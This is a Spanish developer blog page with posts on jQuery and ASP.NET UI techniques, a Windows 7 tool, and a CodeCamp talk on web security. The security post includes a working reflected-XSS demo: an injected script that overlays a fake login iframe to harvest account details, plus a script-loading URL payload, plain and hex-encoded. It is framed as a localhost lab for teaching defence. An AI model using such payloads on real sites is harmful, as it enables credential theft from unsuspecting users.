Como ya se avisó anteriormente hoy esta disponible el segundo reto de Net Minds, ya puedes acceder a la segunda prueba para conseguir tu subscripción Visual Studio Ultimate con MSDN Premium.
http://msdn.microsoft.com/es-es/net_minds.aspx
Para que una aplicación web tenga un interfaz de usuario fácil de utilizar y facilitemos su usabilidad no hay más remedio que pasar por un lenguaje script y por eso cada vez que tengo la oportunidad me gusta hacer alguna práctica con JavaScript y en este caso utilizando la librería JQuery que facilita nos falicita mucho esta tarea.
La excusa que utilizo hoy para hacer este ejemplo es una petición en los foros MSDN para hacer una búsqueda de texto en un TreeView y poder seleccionar posteriormente el nodo que coincida con esta selección.
Para esto voy a utilizar un plugin de Jquery que provee a los inputs la extensión de mostrar un autoComplete donde se mostraran los textos de los nodos que coincidan con el texto introducido en el input.
Para las referencias a las librerías Jquery utilizare CDN para aprovechar sus beneficios y no tener obligatoriamente las librerías en nuestro proyecto.
Empecemos!!!
Crearemos un proyecto web que contendrá una página aspx con un simple input html y un treeview que llenaremos con los mismos campos que piden en la consulta del foro.
Lo único que tenemos que tener en cuenta, es que necesitamos un identificador para el input y especificar un estilo al treeview que utilizaremos para localizar el control al cargar la página.
<input id="example" />
<asp:TreeView ID="TreeView1" runat="server" CssClass="TreeN">
<ParentNodeStyle CssClass="ItemNodeTree" />
Una vez preparada la página crearemos un fichero .JS donde pondremos nuestro código javaScript para darle la funcionalidad al ejemplo.
<script src="JS/JScript.js" type="text/javascript"/>
Primera parte del script:
1. Inicializar el autocomplet y cargar los datos del treeview.
$(document).ready(function() {
var data = CargarDatos();
$("#example").autocomplete(data, {
//Texto a mostrar en el input
formatItem: function(item) {
return item.text;
}
}).result(function(event, item) {
//Identificador del Nodo
Seleccionar(item.id);
});
});
Al cargar la página llamamos a la función CargarDatos() que recorrerá el treeView para retornar un array de objetos que contendrán el texto y el identificador de cada nodo. Cuando se lanza el evento al seleccionar el registro se llamará a la función Seleccionar pasando el identificador del nodo como parámetro.
2. CargarDatos utiliza la potencia de los selectores de JQuery para seleccionar los nodos y llenar el array con la información necesaria del nodo.
function CargarDatos() {
var treeN = $(".TreeN");
var items = new Array();
if (treeN.length){
var nodo = $("#"+treeN[0].id + " td: a" );
for (var index = 0; index < nodo.length; index++) {
items[index] = { text: nodo[index].innerText, id: nodo[index].id };
}
}
return items;
}
3. Seleccionar selecciona el nodo del treeView y le asigna el estilo adecuado para resaltar el registro seleccionado.
function Seleccionar(treeID) {
//Limpiamos los estilos seleccionados anteriormente
var es = $('.SelectedNodeTree');
for (var index = 0; index < es.length; index++) {
es[index].className = "ItemNodeTree";
}
//Definimos el estilo seleccionado al item correcto
$("#" + treeID)[0].className = "SelectedNodeTree";
}
Resultado final:
Como podéis comprobar con tres simples funciones javaScript hemos dotado a nuestra aplicación una potente funcionalidad en el lado del cliente que mejora la experiencia de usuario y enriquece nuestras aplicación web.
Aplicación
Descarga gratis y personaliza tú Windows 7 con los nuevos Temas disponibles en la página de Microsoft.
http://windows.microsoft.com/en-US/windows/downloads/personalize
Dale a tú Windows 7 un toque personalizado ;-)
Gracias a un comentario de mi amigo Luis Franco me he enterado que Microsoft ha premiado a Miguel de Icaza con el nombramiento MVP de C# por sus aportaciones a la comunidad.
Esta noticia va a dar mucho de que hablar con unos cuantos compañeros linuxeros, con los que normalmente tenemos numerosas charlas sobre estos temas.
Felicidades por el nombramiento !!
Ya están disponibles los videos de los tracks que se dieron en el CodeCamp Tarragona 09. Somos conscientes que no son de la calidad que podríamos desear, pero para la gente que no pudo asistir, es la posibilidad de disfrutar de este material.
-
Para acceder al material y a la información de los eventos visita la web
http://codecamp.es
Saludos.
Este año ha sido mucho más productivo de lo que me esperaba y el que comienza parece que me va a deparar nuevos retos personales que espero sean lo más positivos posible.
Para empezar con buen pie y no cejar en mis artículos técnicos, hoy haré un nuevo ejemplo práctico para personalizar un control GridView, permitir editar sus elementos con JavaScript y enviar al servidor de manera asíncrona solo las modificaciones realizadas.
Realmente cada vez existen más controles que nos permiten mejorar la experiencia de usuario y potencian usabilidad de los usuarios. Pero con un poco de tiempo es posible dar este toque a los controles con los que trabajamos cotidianamente.
Para comenzar esta práctica crearemos un nuevo proyecto web y cargaremos una grid con la base de datos NorthWind que no puede faltar en cualquier ejemplo que utilice una base de datos SQL.
Para poder editar la grid lo que tenemos que hacer primero es marcar las celdas que se podrán editar con una propiedad llamada "editable", guardar el nombre del registro para tenerlo a mano a la hora de guardar las modificaciones y agregar el evento onmousedown para que llame a la función javaScript de edición tanto en IE como en Firefox.
1: protected void GridView1_RowDataBound(object sender,
2: GridViewRowEventArgs e)
3: {
4: if (e.Row.RowType == DataControlRowType.DataRow)
5: {
6: foreach (TableCell cell in e.Row.Cells)
7: {
8: cell.Attributes.Add("editable", "true");
9: cell.Attributes.Add("columnName",
10: ((System.Web.UI.WebControls.DataControlFieldCell)
11: (cell)).ContainingField.HeaderText);
12: cell.Attributes.Add("onmousedown", "EditarPrecio(this);");
13: }
14: }
15: }
Una vez preparado el código de servidor que pintará la grid, ya podemos empezar con la funcionalidad en el cliente y para eso utilizaremos diferentes librerías ( JQuery, JSON) y un fichero .js donde se encontrara nuestro código script.
El script de cliente:
*. EditarPrecio( celda ):
Lo primero que haremos es crear un control input para editar el contenido de la celda y como comenté en “Jquery - la potencia sin control no sirve de nada !!” no abusaremos de las funciones Jquery para no perjudicar al rendimiento de nuestro código.
1: function EditarPrecio(td) {
2:
3: var tdControl = $(td)[0];
4: OcultarTxtEditTodos();
5:
6: if (tdControl != null && tdControl.innerText != ""
7: && $(td).attr("editable") != null
8: && $(td).attr("editable") == "true") {
9: var oldValue = tdControl.innerHTML;
10: tdControl.innerHTML = '<input id="txtEditPrecios" '
11: + 'onblur="OcultarTxtEdit(this, true);" '
12: + 'onkeypress="FiltradoKey(event, this);" '
13: + 'class="txtEditPrecios" type="text" value="'
14: + oldValue + '" />';
15: $(".txtEditPrecios").focus().select();
16: }
17: }
4: Ocultamos los posibles inputs que se hayan quedado activados.
10: agregamos el control input a la celda.
11: Al perder el foco evento “onblur” ocultamos el input.
12: Al presionar un tecla evento “onkeypress” detectamos si se presiona la tecla escape para finalizar la edición
15: Otorgamos el foco al input y seleccionamos el contenido para facilitar la edición.
*. OcultarTxtEdit( input, si queremos tabular “bool” ):
1: function OcultarTxtEdit(val, tabular) {
2: if (val != null) {
3: var txt = $(val);
4: var td = txt[0].parentNode;
5: if (txt[0].defaultValue != txt[0].value) {
6: td.setAttribute("EditVal", txt[0].value);
7: td.className = "txtEdit";
8: }
9: var tdNext = $(td).next();
10: td.innerHTML = txt[0].value;
11:
12: if (tabular)
13: if($(tdNext).length)
14: EditarPrecio(tdNext);
15: else
16: if($(td).parent('tr').next().children().length)
17: EditarPrecio($(td).parent('tr').next().children()[0])
18: }
19: }
5: Comprobamos si el contenido de la celda ha sido modificado.
6: mostramos el nuevo valor.
7: modificamos el estilo para destacar las celdas modificadas.
12: si queremos tabular editamos la siguiente celda
16: si es la última celda de la fila saltaremos a la siguiente fila
*. OcultarTxtEditTodos():
Oculta todos los inputs de la grid.
1: function OcultarTxtEditTodos() {
2: var txts = $("#txtEditPrecios");
3: for (var i = 0; i < txts.length; i++) {
4: OcultarTxtEdit($(txts[i]), false);
5: }
6: }
*. OcultarTxtEditTodos():
Si se presiona la tecla escape salimos de la edición de la celda.
1: function FiltradoKey(e, txt) {
2: var code = (e.keyCode ? e.keyCode : e.which);
3: if (code == 27) {
4: OcultarTxtEdit(txt, false);
5: }
6: }
YA tenemos nuestra grid con la posibilidad de modificar los registros, con tabulación y cancelación funcionando al 100% !!!!
La última parte será habilitar un método de página al que le podremos pasar las celdas modificadas con formato JSon desde el cliente.
*. Tipo:
1: public class ClienteData
2: {
3: public string id { get; set; }
4: public string columna { get; set; }
5: public string valor { get; set; }
6: }
*. ActualizarDatos “Servidor”:
Método del servidor que recupera la información del cliente y convierte el objeto Json en una lista de tipos “ClienteData”:
*. ActualizarDatos “Cliente”:
Función script que recupera todas las celdas que han sido modificadas y crea un objeto json que se envía al servidor.
1: function ActualizarDatos()
2: {
3: var datos = '';
4: var txtEditados = $(".txtEdit");
5: for (var i = 0; i < txtEditados.length; i++) {
6: if(i > 0)
7: datos += ',';
8:
9: datos += '{"id":"'
10: + txtEditados[i].parentElement.cells[0].innerText
11: +'","columna":"'
12: + txtEditados[i].getAttribute("columnName")
13: + '","valor":"'+txtEditados[i].innerText
14: + '"}';
15: }
16: var jDatos = JSON.parse('[' + datos.replace(/;/g, ",")+ ']');
17: PageMethods.ActualizarDatos(jDatos,
18: ActualizarDatosOK, ActualizarDatosKO);
19: }
4: recupera todas las celdas con el estilo de datos modificado.
9: crea un texto con formato JSon con el identificador del registo, el nombre del campo modificado y el nuevo valor.
16: transforma el texto en un objeto JSon “JSON con ASP.NET II”
17: llama al método de página del servidor.
Ya hemos finalizado esta práctica y de una forma muy sencilla hemos mejorado la experiencia de nuestros usuarios. No es tan complicado adaptar los controles ASP.NET para nuestras aplicaciones y a veces es mejor que utilizar complicados controles de terceros.
Aplicación
Este año ha sido un poco menos activo que el año anterior, pero lo poco que hemos hecho a sido de gran calidad ;-). Espero que el año que entra podamos organizar muchas más cosas y que todos vosotros pongáis vuestro granito de arena para que el grupo siga adelante.
Lo dicho felices fiestas a todos y espero que encontréis un hueco en vuestra agenda para participar más activamente en el grupo.
Microsoft ha lanzado una campaña de marketing utilizando la gripe A como excusa para reforzar sus soluciones para el Acceso Remoto, Teletrabajo y Planes de Contingencia.
Sin duda una idea muy original sacando partido a la actualidad más candente y dando soluciones a la empresa sin complejos, pero no sé si los trabajadores darán soporte a iniciativas como esta.
10 puntos para la originalidad de la campaña de Microsoft, me a parecido muy graciosa.
http://www.microsoft.com/spain/imagenes/msc/Planes/Planes%20de%20contingencia%20ante%20epidemias%20con%20tecnologia%20Microsoft.html
Yo soy de esos programadores web que están disfrutando con las bondades que nos ofrece JQuery desde su aparición. Esta librería nos simplifica enormemente nuestros desarrollos con JavaScript y los hace mucho más productivos.
Pero hasta ahora realmente no había aprovechado todo su potencial y es precisamente en esta situación cuando me ha defraudado un poco.
Me explico:
He querido tratar todo un interfaz de usuario con JQuery para optimizar la presentación y evitar las idas y venidas de la página para consultar los datos. Para eso recupero la información para rellenar un control, desde mi capa de datos utilizando un método de página y formato Json, de esta manera se evita enviar la información innecesaria de la página.
Estos datos tienen una estructura mas o menos compleja o al menos más compleja que una simple tabla, porque se tiene que representar en diferentes niveles.
Para representar estos datos correctamente en la tabla he generado unos bucles que recorren los datos y los presenta dependiendo de algunas condiciones.
No voy a poner todo mi código pero tendría más o menos este aspecto:
$($("#" + tabla + " tr:first")[0].cells).each(function() {
var diaCell = this;
diaCell.innerText = result[pos].Key.charAt(0);
var rowHabitaciones = $("#" + tabla + " tr [hab]");
var reg = "<td>"+name +"</td>";
$(RowHab).after(reg);
Todo perfecto y encantado de lo simple que me ha quedado el código de cliente que tiene que tratar tanta información.
Peroooooo!!! si hay un pero.
Al ejecutar el código está tardando mucho más de lo esperado. Llego a tardar tanto en pintar la tabla que hasta el propio explorador me avisaba de este problema.
la potencia sin control no sirve de nada !!
Tenemos que tener en cuenta que Jquery es una librería que encapsula el lenguaje JavaScript para simplificar su uso, eso significa que para nosotros recorrer el DOM es ahora mucho más fácil, pero internamente sigue ejecutando complicadas sentencias para que nuestro código funcione por ejemplo en diferentes navegadores sin problemas.
Por ese motivo tenemos que seguir unas cuantas reglas para que nuestro código sea lo más optimo posible.
Antes de la optimización de mi código he testeado la velocidad que tarda el script en representar los datos inicialmente.
Primera prueba sin optimizar: 17,366 segundos !!!!!
Realmente es impensable tener un script que tarde 17 segundos en pintar una tabla en el cliente.
Ahora voy a seguir unas simples reglas para el uso adecuado de Jquery haber si realmente ganamos algo en eficacia.
-
Iteraciones: Es recomendable utilizar en lo posible las funciones nativas del navegador y evitar utilizar directamente los objetos del DOM en estas. Es más preferible utilizar texto y añadir este al final de la iteración.
-
Añadir elementos al DOM: Siguiendo el anterior consejo, si tenemos que agregar una gran cantidad de objetos al DOM, es mejor añadir todos los objetos de una vez que irlos añadiendo progresivamente.
-
NO abusar de los selectores: Es muy fácil abusar de los selectores por su gran potencia. Utilizar variables con los resultados de los selectores para su reutilización.
Muchos más consejos en improve-your-jquery-25-excellent-tips.aspx
Después de limpiar, reorganizar, no abusar de los objetos DOM y utilizar for en decremento de los cómodos each este es el resultado.
Segunda prueba con el código optimizado: 0,361 segundos !!!!!
Realmente si cuidamos un poco la forma de utilizar Jquery sumado con el clásico JavaScript podemos tener un código mucho más optimizado para utilizar con nuestro interfaces de usuario.
Yo al menos en esta práctica me he ahorrado 17 segundos ni más ni menos y mi control está funcionando al 100%.
Para los despistados o los que no se hayan enterado aún del evento, mañana Martes 17 de Noviembre de 2009, los chicos de secondnug con sus ya famosos webCasts, me han pedido que repita la charla que hice en el CodeCamp 09 sobre como podemos evitar los típicos ataques web XSS, Inyección SQL, etc.
Si os interesa el tema no os podéis perder esta introducción 100% práctica de la seguridad web con buenas prácticas.
Apuntaros antes de que se cierren las inscripciones !!!
Hace poquito tiempo que he estrenado un nuevo teléfono con Windows Mobile 6.1
Tengo que reconocer que no tengo mucha experiencia con este sistema y me ha costado un poco configurar el acceso a datos del dispositivo.
Pero lo bueno ha sido cuando he querido instalar la versión de Facebook que Microsoft a creado para Windows Mobile para las versiones 6.*
No ha habido manera que utilizará la conexión correctamente y se conectara a internet, he reinstalando una y otra vez la versión castellana, ingles y porque no tenía el chino. Pero finalmente después de navegar mucho he encontrad la versión que conecta y me deja disfrutar de esta aplicación en mi móvil.
Os adjunto los ficheros necesarios.
Aplicación Idioma Castellano
En mi empresa desde un principio hemos utilizado una herramienta propia para generar la capa de lógica de negocios, adaptada al 100% a nuestras necesidades y que ha ido creciendo con el tiempo. Eso nos ha beneficiado en tener controlado en todo momento nuestros objetos de negocio y nos ha evitado tener que hacer un salto obligatorio para utilizar alguno de los ORM que existen en el mercado, como puede ser: Entity Framework, NHibernate, etc.
Nuestra capa de acceso a datos “DAL” encapsula toda la lógica de conexiones a datos independientemente del proveedor y hay una de las funciones que retorna un lector de datos para poder personalizar la lectura de los datos desde la capa de lógica de Negocios.
/// <summary>
/// Ejecuta el comando creado y retorna el lector.
/// </summary>
/// <returns>El resultado de la consulta.</returns>
public DbDataReader EjecutarConsulta(string cmd, CommandType tipo)
{
this.comando.CommandText = cmd;
this.comando.CommandType = tipo;
this.Conectar();
return this.comando.ExecuteReader();
}
Eso facilita la carga del objeto de negocio y optimiza la lectura.
DbDataReader reader = null;
Using (Dal dal = new Dal())
{
string command = "select id, nombre, descripcion from productos";
reader = dal.EjecutarConsulta(command, CommandType.Text);
while (reader.Read())
{
...
Pero uno de los problemas habituales que nos encontraremos con el objeto DataReader es que si no nos gusta leer los datos por posición, como es mi caso y preferimos controlar la columna que deseamos leer. Nos podemos encontrar con el horrible error que no se encuentra la columna que estamos intentando leer.
Ya podemos intentar validar si el objeto es null, pero no funciona:
O si el dato está vacio:
Para poder validar si la columna que estamos consultando existe podemos tener una función en nuestro DAL que valide esta situación utilizando el propio esquena de la tabla:
public bool ValidarColumna( DbDataReader reader, string nombreColumna)
{
reader.GetSchemaTable().DefaultView.RowFilter =
"ColumnName= '" + nombreColumna + "'";
return (reader.GetSchemaTable().DefaultView.Count > 0);
}
Finalmente cuando queramos hacer la consulta de los datos utilizaremos el validador para evitar errores no controlados en el acceso a datos.
using (Dal dal = new Dal())
{
string command = @"select id, nombre, descripcion
from productos";
reader = dal.EjecutarConsulta(command, CommandType.Text);
while (reader.Read())
{
ProductoData produc = new ProductoData();
produc.ID = (dal.ValidarColumna(reader, "ID")
&& reader["ID"] != DBNull.Value)?(int)reader["ID"]:0;
produc.Nombre = (dal.ValidarColumna(reader, "Nombre")
&& reader["Nombre"] != DBNull.Value)
?reader["Nombre"].ToString():string.Empty;
listaProductos.Add(produc);
}
}
Es una forma un poco rebuscada, pero no conozco ninguna otra forma de verificar esta información.
Espero que os sea útil.
Hasta ahora hemos disfrutado de la herramienta como ZoomIt para hacer Zoom en nuestras presentaciones y ayudarnos a mostrar partes de la pantalla a nuestra audiencia de una manera muy fácil y eficiente, pero ahora podemos contar con una utilidad incluida en Windows 7 llamada Lupa y que cumple la misma función. Pero a mi parecer se ha mejorando el sistema, porque aparte de poder hacer zoom se puede seguir interactuando igualmente con la aplicación sin problemas de forma aumentada.
Soporta diferentes modos de zoom:
-
Pantalla Completa
-
Modo Lente
-
Modo Acoplado
Métodos abreviados de teclado:
|
Método Abreviado
|
Acción
|
|
Tecla del logotipo de Windows  + signo más o signo menos
|
Acercar o alejar
|
|
Ctrl+Alt+Barra espaciadora
|
Mostrar el puntero del mouse
|
|
Ctrl+Alt+F
|
Cambiar al modo de pantalla completa
|
|
Ctrl+Alt+L
|
Cambiar al modo de lente
|
|
Ctrl+Alt+D
|
Cambiar al modo acoplado
|
|
Ctrl+Alt+I
|
Invertir colores
|
|
Ctrl+Alt+teclas de dirección
|
Movimiento panorámico en el sentido de las teclas de dirección
|
|
Ctrl+Alt+R
|
Cambiar el tamaño de la lente
|
|
Tecla del logotipo de Windows  +Esc
|
Cerrar la Lupa
|
Realmente una utilidad que nos será muy útil para nuestras presentaciones.
Toda una experiencia el paso por el CodeCamp y una de las sesiones fue mi introducción a las buenas prácticas para defenderse de los ataques XSS.
Un tema como este es difícil concentrarlo en 60 minutos y se me quedaron muchos ejemplos en el tintero.
Para empezar podéis bajaros la presentación y la web de pruebas que realicé para poder probar las diferentes técnicas XSS en el siguiente link.
web DB
Ahora terminaré uno de los ejemplos que me parece muy interesante y no pude realizar por falta del valioso tiempo.
Ejemplo de XSS indirecto para robar la información del usuario:
1. URL vulnerable al ataque: A la url se le pasa el nombre de la revista y el la foto.
2. La página: Muestra la información directamente sin validar los datos y es vulnerable a la inyección de código script y HTML.
3. Fichero JS: Como el ataque que planteamos es bastante elaborado necesitaríamos introducir muchos texto en la url, y por ese motivo utilizaremos un recurso externo como un fichero JS para realizar el ataque.
onload = function XSS() {
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://localhost:51001/WebHack/Login.aspx");
ifrm.style.width = 350 + "px";
ifrm.style.height = 300 + "px";
ifrm.frameBorder = "0";
var img = document.getElementById("ctl00_ContentPlaceHolder1_foto")
img.parentNode.appendChild(ifrm);
img.style.display = "none";
}
Este script modifica el documento atacado “que previamente hemos estudiado” para insertar un iframe el cual utilizará una página intrusa para pedir los datos al usuario de su cuenta , haciéndole creer que su sesión ha caducado.
4. Url Modificada: Insertaremos un script en la url para mostrar el iframe en el lugar de la imagen.
ASCII:
…revista.aspx?&revista=Jaque<script src="http://localhost/WebHack/css/Hack.js"></script>
HEX:
…revista.aspx?&revista=Jaque%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%2F%57%65%62%48%61%63%6B%2F%63%73%73%2F%48%61%63%6B%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E
5. Página con la url atacada:
Espero que la sesión del CodeCamp y el ejemplo hayan sido de vuestro agrado.
Después de este fin de semana donde han pasado tantas cosas y donde después de tanto tiempo se han cumplido con creces nuestras expectativas, puedo decir de primera mano que he experimentado realmente lo que es la comunidad.
La comunidad son 30 ponentes que sin ningún animo de lucro, se comprometen y se esfuerzan para hacer llegar a todo el mundo los temas que más nos interesan sobre la tecnología.
La comunidad son todas esas personas que han dedicado su tiempo durante varios meses para poder organizar un evento como el CodeCamp y que finalmente haya sido una realidad.
La comunidad son las cerca de 250 personas que han pasado un fin de semana en Tarragona, compartiendo experiencias y conociéndose de igual a igual.
La comunidad son esas comunidades como Mono y los grupos .NET que son capaces de utilizar en su beneficio los puntos que les unen y dejar en la puerta los que los separan.
Realmente puedo decir que este fin de semana he experimentado y he vivido de cerca lo que realmente es la comunidad, estoy muy contento y orgulloso de poder formar parte de esta familia.
Muchas Gracias a todos por ser parte de la comunidad.
CodeCamp Tarragona 2009
Más artículos
Página siguiente >